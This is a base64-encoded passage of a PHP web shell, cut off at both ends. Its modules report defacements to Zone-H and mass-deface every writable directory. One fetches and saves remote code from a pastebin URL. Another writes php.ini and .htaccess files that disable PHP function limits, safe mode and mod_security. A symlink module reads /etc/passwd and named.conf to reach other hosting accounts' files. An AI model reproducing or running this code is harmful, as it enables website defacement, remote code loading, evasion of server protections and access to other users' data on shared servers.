I7CiAgICB9CiAgICBlY2hvICI8L2Rpdj4iOwoKLy9ab25lLUggTWFzcyBQb3N0ZXIKfSBlbHNlaWYoJF9HRVRbJ2EnXSA9PSAnem9uZS1oJykgewogICAgaWYoJF9QT1NUWydzdWJtaXQnXSkgewokZG9tYWluID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsndXJsJ10pOwokbmljayA9ICAkX1BPU1RbJ25pY2snXTsKZWNobyAiPGZvbnQgY29sb3I9cmVkPkRlZmFjZXIgT25ob2xkIDogPGEgaHJlZj0naHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2svcHVibGlzaGVkPTAnIHRhcmdldD0nX2JsYW5rJz48Zm9udCBjb2xvcj15ZWxsb3c+aHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2svcHVibGlzaGVkPTA8L2E+PC9mb250Pjxicj4iOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+RGVmYWNlciBBcmNoaXZlIDogPGEgaHJlZj0naHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2snIHRhcmdldD0nX2JsYW5rJz48Zm9udCBjb2xvcj15ZWxsb3c+aHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2s8L2E+PC9mb250Pjxicj48YnI+IjsKZnVuY3Rpb24gem9uZWgoJHVybCwkbmljaykgewogICAgJGNoID0gY3VybF9pbml0KCJodHRwOi8vd3d3LnpvbmUtaC5jb20vbm90aWZ5L3NpbmdsZSIpOwogICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsKICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAiZGVmYWNlcj0kbmljayZkb21haW4xPSR1cmwmaGFja21vZGU9MSZyZWFzb249MSZzdWJtaXQ9U2VuZCIpOwogICAgcmV0dXJuIGN1cmxfZXhlYygkY2gpOwogICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwp9CmZvcmVhY2goJGRvbWFpbiBhcyAkdXJsKSB7CiAgICAkem9uZWggPSB6b25laCgkdXJsLCRuaWNrKTsKICAgIGlmKHByZWdfbWF0Y2goIi9jb2xvcj1cInJlZFwiPk9LPFwvZm9udD48XC9saT4vaSIsICR6b25laCkpIHsKICAgICAgICBlY2hvICIkdXJsIC0+IDxmb250IGNvbG9yPXllbGxvdz4tPiBPSzwvZm9udD48YnI+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiJHVybCAtPiA8Zm9udCBjb2xvcj1yZWQ+LT4gRVJST1I8L2ZvbnQ+PGJyPiI7CiAgICB9Cn0KICAgIH0gZWxzZSB7CmVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9eWVsbG93IHNpemU9Mz4gWm9uZS1IIE1hc3MgU3VibWl0PC9jZW50ZXI+PGJyPgogICAgICAgIDxmb3JtIG1ldGhvZD0ncG9zdCc+Cjx1PkRlZmFjZXI8L3U+OiA8YnI+CjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduaWNrJyBzaXplPSc1MCcgdmFsdWU9J1JveWFsIEJhdHRsZXIgQkQnPjxicj4KPHU+RG9tYWluPC91PjogPGJyPgo8dGV4dGFyZWEgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAxNTBweDsnIG5hbWU9J3VybCc+PC90ZXh0YXJlYT48YnI+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgdmFsdWU9J1N1Ym1pdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnPgo8L2Zvcm0+PC9mb250PiI7CiAgICB9CiAgICBlY2hvICI8L2NlbnRlcj4iOwoKLy9NQVNTIERlZmFjZQp9IGVsc2VpZihpc3NldCgkX0dFVFsnYSddKSAmJiAoJF9HRVRbJ2EnXSA9PSAnbWFzc19kZWZhY2UnKSl7CiAgICBmdW5jdGlvbiBzYWJ1bl9tYXNzYWwoJGRpciwkbmFtYWZpbGUsJGlzaV9zY3JpcHQpIHsKICAgICAgICBmb3JlYWNoKCRqIGFzICRsb2thc2kpCiAgICAgICAgaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKICAgICAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICBmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgICAgICRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOwogICAgICAgICAgICAgICAgaWYoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbPGZvbnQgY29sb3I9IzVkZGNmYz5TZWxlc2FpIEdhbjwvZm9udD5dICRsb2thc2k8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBzYWJ1bl9tYXNzYWwoJGRpcmMsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGZ1bmN0aW9uIHNhYnVuX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CiAgICAgICAgaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKICAgICAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICBmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgICAgICRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOwogICAgICAgICAgICAgICAgaWYoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiWzxmb250IGNvbG9yPSM1ZGRjZmM+U2VsZXNhaSBHYW48L2ZvbnQ+XSAkZGlyYi8kbmFtYWZpbGU8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGlmKCRfUE9TVFsnc3RhcnQnXSkgewogICAgICAgIGlmKCRfUE9TVFsndGlwZV9zYWJ1biddID09ICdtYWhhbCcpIHsKICAgICAgICAgICAgZWNobyAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOwogICAgICAgICAgICBzYWJ1bl9tYXNzYWwoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsKICAgICAgICAgICAgZWNobyAiPC9kaXY+IjsKICAgICAgICB9IGVsc2VpZigkX1BPU1RbJ3RpcGVfc2FidW4nXSA9PSAnbXVyYWgnKSB7CiAgICAgICAgICAgIGVjaG8gIjxkaXYgc3R5bGU9J21hcmdpbjogNXB4IGF1dG87IHBhZGRpbmc6IDVweCc+IjsKICAgICAgICAgICAgc2FidW5fYmlhc2EoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsKICAgICAgICAgICAgZWNobyAiPC9kaXY+IjsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgZWNobyAiPGNlbnRlcj4iOwogICAgZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4KICAgIDxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPlR5cGUgIG9mIG1hc3MgOjwvZm9udD48YnI+CiAgICA8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J3RpcGVfc2FidW4nIHZhbHVlPSdtdXJhaCcgY2hlY2tlZD5BbGwgRGlyIG1hc3MgZGVmYWNlPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSd0aXBlX3NhYnVuJyB2YWx1ZT0nbWFoYWwnPjEgRGlyPGJyPgogICAgPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+Rm9sZGVyIDo8L2ZvbnQ+PGJyPgogICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nJHBhdGgnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz48YnI+CiAgICA8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5GaWxlbmFtZSA6PC9mb250Pjxicj4KICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdpbmRleC5waHAnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz48YnI+CiAgICA8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5EZWZhY2UgcGFnZSA6PC9mb250Pjxicj4KICAgIDx0ZXh0YXJlYSBuYW1lPSdzY3JpcHQnIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMjAwcHg7Jz5wYXN0IGhlcmUgeW91ciBmdWNraW5nIGRlZmFjZSBwYWdlIGJybzwvdGV4dGFyZWE+PGJyPgogICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdNYXNzIERlZmFjZScgc3R5bGU9J3dpZHRoOiA0NTBweDsnPgogICAgPC9mb3JtPjwvY2VudGVyPiI7CiAgICB9CiAgICAKCiNDSEFOR0VQQVNTV09SRENQCiB9IGVsc2VpZigkX0dFVFsnYSddID09ICdnZXRjcCcpIHsKICAgICRmdWxsID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSwgIiIsICRkaXIpOwogICAgZnVuY3Rpb24gZ2V0Y3AoJHVybCwgJGlzaSkgewogICAgICAgICRmcCA9IGZvcGVuKCRpc2ksICJ3Iik7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0JJTkFSWVRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOwogICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOwogICAgICAgIHJldHVybiBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgb2JfZmx1c2goKTsKICAgICAgICBmbHVzaCgpOwogICAgfQogICAgaWYoZmlsZV9leGlzdHMoJ2dldGNwLnBocCcpKSB7CiAgICAgICAgZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lPjxhIGhyZWY9JyRmdWxsL2dldGNwLnBocCcgdGFyZ2V0PSdfYmxhbmsnPi0+IGNsaWNrID46KCA8LTwvYT48L2ZvbnQ+PC9jZW50ZXI+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgaWYoZ2V0Y3AoImh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9ic0wyZ0J0dSIsImdldGNwLnBocCIpKSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9bGltZT48YSBocmVmPSckZnVsbC9nZXRjcC5waHAnIHRhcmdldD0nX2JsYW5rJz4gb2trPC9hPjwvZm9udD48L2NlbnRlcj4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPkVycm9yIDooPC9mb250PjwvY2VudGVyPiI7CiAgICAgICAgfQogICAgfQoKCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2Rpc2FibGVmdW5jJyl7CiAgICAgICAgZWNobyAiPGJyPjxicj48Y2VudGVyPiI7CiAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPXBvc3Q+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9aW5pIHZhbHVlPSdwaHAuaW5pJyAvPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWh0Y2UgdmFsdWU9Jy5odGFjY2VzcycgLz4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1saXRpbmkgdmFsdWU9J0xpdGVzcGVlZCcgLz48L2Zvcm0+IjsKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2luaSddKSkKewogICAgICAgICRmaWxlID0gZm9wZW4oInBocC5pbmkiLCJ3Iik7CiAgICAgICAgZWNobyBmd3JpdGUoJGZpbGUsImRpc2FibGVfZnVuY3Rpb25zPW5vbmUKc2FmZV9tb2RlID0gT2ZmCiAgICAiKTsKICAgICAgICBmY2xvc2UoJGZpbGUpOwogICAgICAgIGVjaG8gIjxhIGhyZWY9J3BocC5pbmknPmNsaWNrIGhlcmUhPC9hPiI7Cn0gICAgICAgaWYoaXNzZXQoJF9QT1NUWydodGNlJ10pKQp7CiAgICAgICAgJGZpbGUgPSBmb3BlbigiLmh0YWNjZXNzIiwidyIpOwogICAgICAgIGVjaG8gZndyaXRlKCRmaWxlLCI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+ClNlY0ZpbHRlckVuZ2luZSBPZmYKU2VjRmlsdGVyU2NhblBPU1QgT2ZmCjwvSWZNb2R1bGU+CiAgICAiKTsKICAgICAgICBmY2xvc2UoJGZpbGUpOwogICAgICAgIGVjaG8gImh0YWNjZXNzIHN1Y2Nlc3NmdWxseSBjcmVhdGVkISI7Cn0gICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2xpdGluaSddKSl7CiAgICAgICAgJGluaXBoID0gJzw/IG4gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsgbiBlY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOyBuIGluY2x1ZGUoJF9HRVRbImZpbGUiXSk7IG4gaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOyBuIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsgbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBuIGVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7IG4gaW5jbHVkZSgkX0dFVFsic3MiXTsgbiA/Pic7CiAgICAgICAgICAgICAkYnlwaCA9ICJzYWZlX21vZGUgPSBPZmYgbiBkaXNhYmxlX2Z1bmN0aW9ucz0gIjsKICAgICAgICAkY29tcD0iUEVacGJHVnpJQ291Y0dod1BnMEtSbTl5WTJWVWVYQmxJR0Z3Y0d4cFkyRjBhVzl1TDNndGFIUjBjR1F0Y0dod05BMEtQQzlHYVd4bGN6ND0iOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCJwaHAuaW5pIixiYXNlNjRfZGVjb2RlKCRieXBoKSk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoImluaS5waHAiLGJhc2U2NF9kZWNvZGUoJGluaXBoKSk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoIi5odGFjY2VzcyIsYmFzZTY0X2RlY29kZSgkY29tcCkpOwogICAgICAgIGVjaG8gIjxzY3JpcHQ+YWxlcnQoJ0Rpc2FibGUgRnVuY3Rpb25zIGluIExpdGVzcGVlZCBDcmVhdGVkJyk7IGhpZGVBbGwoKTs8L3NjcmlwdD4iOwogICAgICAgIGVjaG8iPC9jZW50ZXI+IjsKfQoKfQplbHNlaWYoJF9HRVRbJ2EnXSA9PSAnc3ltbGluaycpIHsKJGZ1bGwgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCAiIiwgJHBhdGgpOwokZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsKIyNodHRhY2VzCmlmKCRkMG1haW5zKXsKQG1rZGlyKCJmaWdodGVyX3N5bSIsMDc3Nyk7CkBjaGRpcigiZmlnaHRlcl9zeW0iKTsKQGV4ZSgibG4gLXMgLyByb290Iik7CiRmaWxlMyA9ICdPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRGlyZWN0b3J5SW5kZXggZmlnaHRlci5odG0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAKQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHAKU2F0aXNmeSBBbnknOwokZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7QGZjbG9zZSgkZnAzKTsKZWNobyAiPGJyPgo8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHN0eWxlPSd3aWR0aDo2MCU7Ym9yZGVyLWNvbG9yOiMzMzMzMzM7Jz4KPHRyPgo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5TLiBOby48L2ZvbnQ+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+RG9tYWluczwvZm9udD48L3RkPgo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Vc2VyczwvZm9udD48L3RkPgo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5TeW1saW5rPC9mb250PjwvdGQ+CjwvdHI+IjsKJGRjb3VudCA9IDE7CmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7CmlmKGVyZWdpKCJ6b25lIiwkZDBtYWluKSl7cHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7CmZsdXNoKCk7CmlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsKJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbnNbMV1bMF0pKTsKZWNobyAiPHRyIGFsaWduPWNlbnRlcj48dGQ+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvZm9udD48L3RkPgo8dGQgYWxpZ249bGVmdD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tYWluc1sxXVswXS4iLz48Zm9udCBjbGFzcz10eHQ+Ii4kZG9tYWluc1sxXVswXS4iPC9mb250PjwvYT48L3RkPgo8dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPgo8dGQ+PGEgaHJlZj0nJGZ1bGwvZmlnaHRlcl9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgY2xhc3M9dHh0PlN5bWxpbms8L2ZvbnQ+PC9hPjwvdGQ+PC90cj4iOwpmbHVzaCgpOwokZGNvdW50Kys7fX19CmVjaG8gIjwvdGFibGU+IjsKfWVsc2V7CiRURVNUPUBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwppZiAoJFRFU1QpewpAbWtkaXIoImZpZ2h0ZXJfc3ltIiwwNzc3KTsKQGNoZGlyKCJmaWdodGVyX3N5bSIpOwpleGUoImxuIC1zIC8gcm9vdCIpOwokZmlsZTMgPSAnT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IGZpZ2h0ZXIuaHRtCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwClNhdGlzZnkgQW55JzsKICRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOwogJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CiBAZmNsb3NlKCRmcDMpOwogZWNobyAiCiA8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPjx0cj4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlMuIE5vLjwvZm9udD48L3RkPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+VXNlcnM8L2ZvbnQ+PC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlN5bWxpbms8L2ZvbnQ+PC90ZD48L3RyPiI7CiAkZGNvdW50ID0gMTsKICRmaWxlID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwogd2hpbGUoIWZlb2YoJGZpbGUpKXsKICRzID0gZmdldHMoJGZpbGUpOwogJG1hdGNoZXMgPSBhcnJheSgpOwogJHQgPSBwcmVnX21hdGNoKCcvXC8oLio/KVw6XC8vcycsICRzLCAkbWF0Y2hlcyk7CiAkbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOwogaWYoc3RybGVuKCRtYXRjaGVzKSA+IDEyIHx8IHN0cmxlbigkbWF0Y2hlcykgPT0gMCB8fCAkbWF0Y2hlcyA9PSAiYmluIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL1gxMS9mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9saWIvbmZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FycHdhdGNoIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2dvcGhlciIgfHwgJG1hdGNoZXMgPT0gInNiaW4iIHx8ICRtYXRjaGVzID09ICJ2YXIvYWRtIiB8fCAkbWF0Y2hlcyA9PSAidXNyL2dhbWVzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2Z0cCIgfHwgJG1hdGNoZXMgPT0gImV0Yy9udHAiIHx8ICRtYXRjaGVzID09ICJ2YXIvd3d3IiB8fCAkbWF0Y2hlcyA9PSAidmFyL25hbWVkIikKIGNvbnRpbnVlOwogZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvdGQ+CiA8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD4iIC4gJG1hdGNoZXMgLiAiPC90ZD4iOwogZWNobyAiPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+PGEgaHJlZj0kZnVsbC9maWdodGVyX3N5bS9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsKICRkY291bnQrKzt9ZmNsb3NlKCRmaWxlKTsKIGVjaG8gIjwvdGFibGU+Ijt9ZWxzZXtpZigkb3MgIT0gIldpbmRvd3MiKXtAbWtkaXIoImZpZ2h0ZXJfc3ltIiwwNzc3KTtAY2hkaXIoImZpZ2h0ZXJfc3ltIik7QGV4ZSgibG4gLXMgLyByb290Iik7JGZpbGUzID0gJwogT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IGZpZ2h0ZXIuaHRtCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwClNhdGlzZnkgQW55Cic7CiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKICRmdzMgPSBmd3JpdGUoJGZwMywkZmlsZTMpO0BmY2xvc2UoJGZwMyk7CiBlY2hvICIKIDxkaXYgY2xhc3M9J215Ym94Jz48aDIgY2xhc3M9J2sybGwzM2QyJz5zZXJ2ZXIgc3ltbGlua2VyPC9oMj4KIDx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+PHRyPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+SUQ8L2ZvbnQ+PC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+CiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5TeW1saW5rPC9mb250PjwvdGQ+PC90cj4iOwogJHRlbXAgPSAiIjskdmFsMSA9IDA7JHZhbDIgPSAxMDAwOwogZm9yKDskdmFsMSA8PSAkdmFsMjskdmFsMSsrKSB7JHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7CiBpZiAoJHVpZCkkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iO30KIGVjaG8gJzxici8+JzskdGVtcCA9IHRyaW0oJHRlbXApOyRmaWxlNSA9CiBmb3BlbigidGVzdC50eHQiLCJ3Iik7CiBmcHV0cygkZmlsZTUsJHRlbXApOwogZmNsb3NlKCRmaWxlNSk7JGRjb3VudCA9IDE7JGZpbGUgPQogZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwogd2hpbGUoIWZlb2YoJGZpbGUpKXskcyA9IGZnZXRzKCRmaWxlKTskbWF0Y2hlcyA9IGFycmF5KCk7CiAkdCA9IHByZWdfbWF0Y2goJy9cLyguKj8pXDpcLy9zJywgJHMsICRtYXRjaGVzKTskbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOwogaWYoc3RybGVuKCRtYXRjaGVzKSA+IDEyIHx8IHN0cmxlbigkbWF0Y2hlcykgPT0gMCB8fCAkbWF0Y2hlcyA9PSAiYmluIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL1gxMS9mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9saWIvbmZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FycHdhdGNoIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2dvcGhlciIgfHwgJG1hdGNoZXMgPT0gInNiaW4iIHx8ICRtYXRjaGVzID09ICJ2YXIvYWRtIiB8fCAkbWF0Y2hlcyA9PSAidXNyL2dhbWVzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2Z0cCIgfHwgJG1hdGNoZXMgPT0gImV0Yy9udHAiIHx8ICRtYXRjaGVzID09ICJ2YXIvd3d3IiB8fCAkbWF0Y2hlcyA9PSAidmFyL25hbWVkIikKIGNvbnRpbnVlOwogZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvdGQ+CiA8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD4iIC4gJG1hdGNoZXMgLiAiPC90ZD4iOwogZWNobyAiPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+PGEgaHJlZj0kZnVsbC9maWdodGVyX3N5bS9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsKICRkY291bnQrKzt9CiBmY2xvc2UoJGZpbGUpOwogZWNobyAiPC90YWJsZT48L2Rpdj48L2NlbnRlcj4iO3VubGluayg